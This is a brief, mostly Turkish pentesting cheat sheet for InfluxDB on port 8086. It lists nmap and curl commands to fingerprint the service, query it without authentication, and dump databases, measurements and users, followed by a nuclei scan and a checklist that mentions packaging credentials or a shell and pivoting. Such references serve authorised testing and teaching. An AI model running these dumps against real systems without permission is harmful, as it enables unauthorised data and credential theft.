8086 - Pentesting InfluxDB

InfluxDB database

InfluxDB zaman serisi API’sidir. Auth kapalıysa measurement dump ve bazen erken RCE CVE’leri devreye girer. Hedef lab IP’si üzerinde komutları 8086 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 8086 doğrula.

2. ping/health unauth.

3. SHOW DATABASES.

4. Query loot / CVE.

Keşif

nmap -Pn -sV -p8086 TARGET

curl -s http://TARGET:8086/ping

curl -s http://TARGET:8086/health

curl -s http://TARGET:8086/query --data-urlencode 'q=SHOW DATABASES'

Loot

curl -s http://TARGET:8086/query --data-urlencode 'q=SHOW MEASUREMENTS' --data-urlencode 'db=DB'

curl -s http://TARGET:8086/query --data-urlencode 'q=SELECT * FROM m LIMIT 100' --data-urlencode 'db=DB'

influx -host TARGET -port 8086 -execute 'SHOW DATABASES'

Auth/CVE

curl -s http://TARGET:8086/query -u user:pass --data-urlencode 'q=SHOW USERS'

nuclei -u http://TARGET:8086 -tags influx

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

unauth /query → dump measurements → secrets/CVE
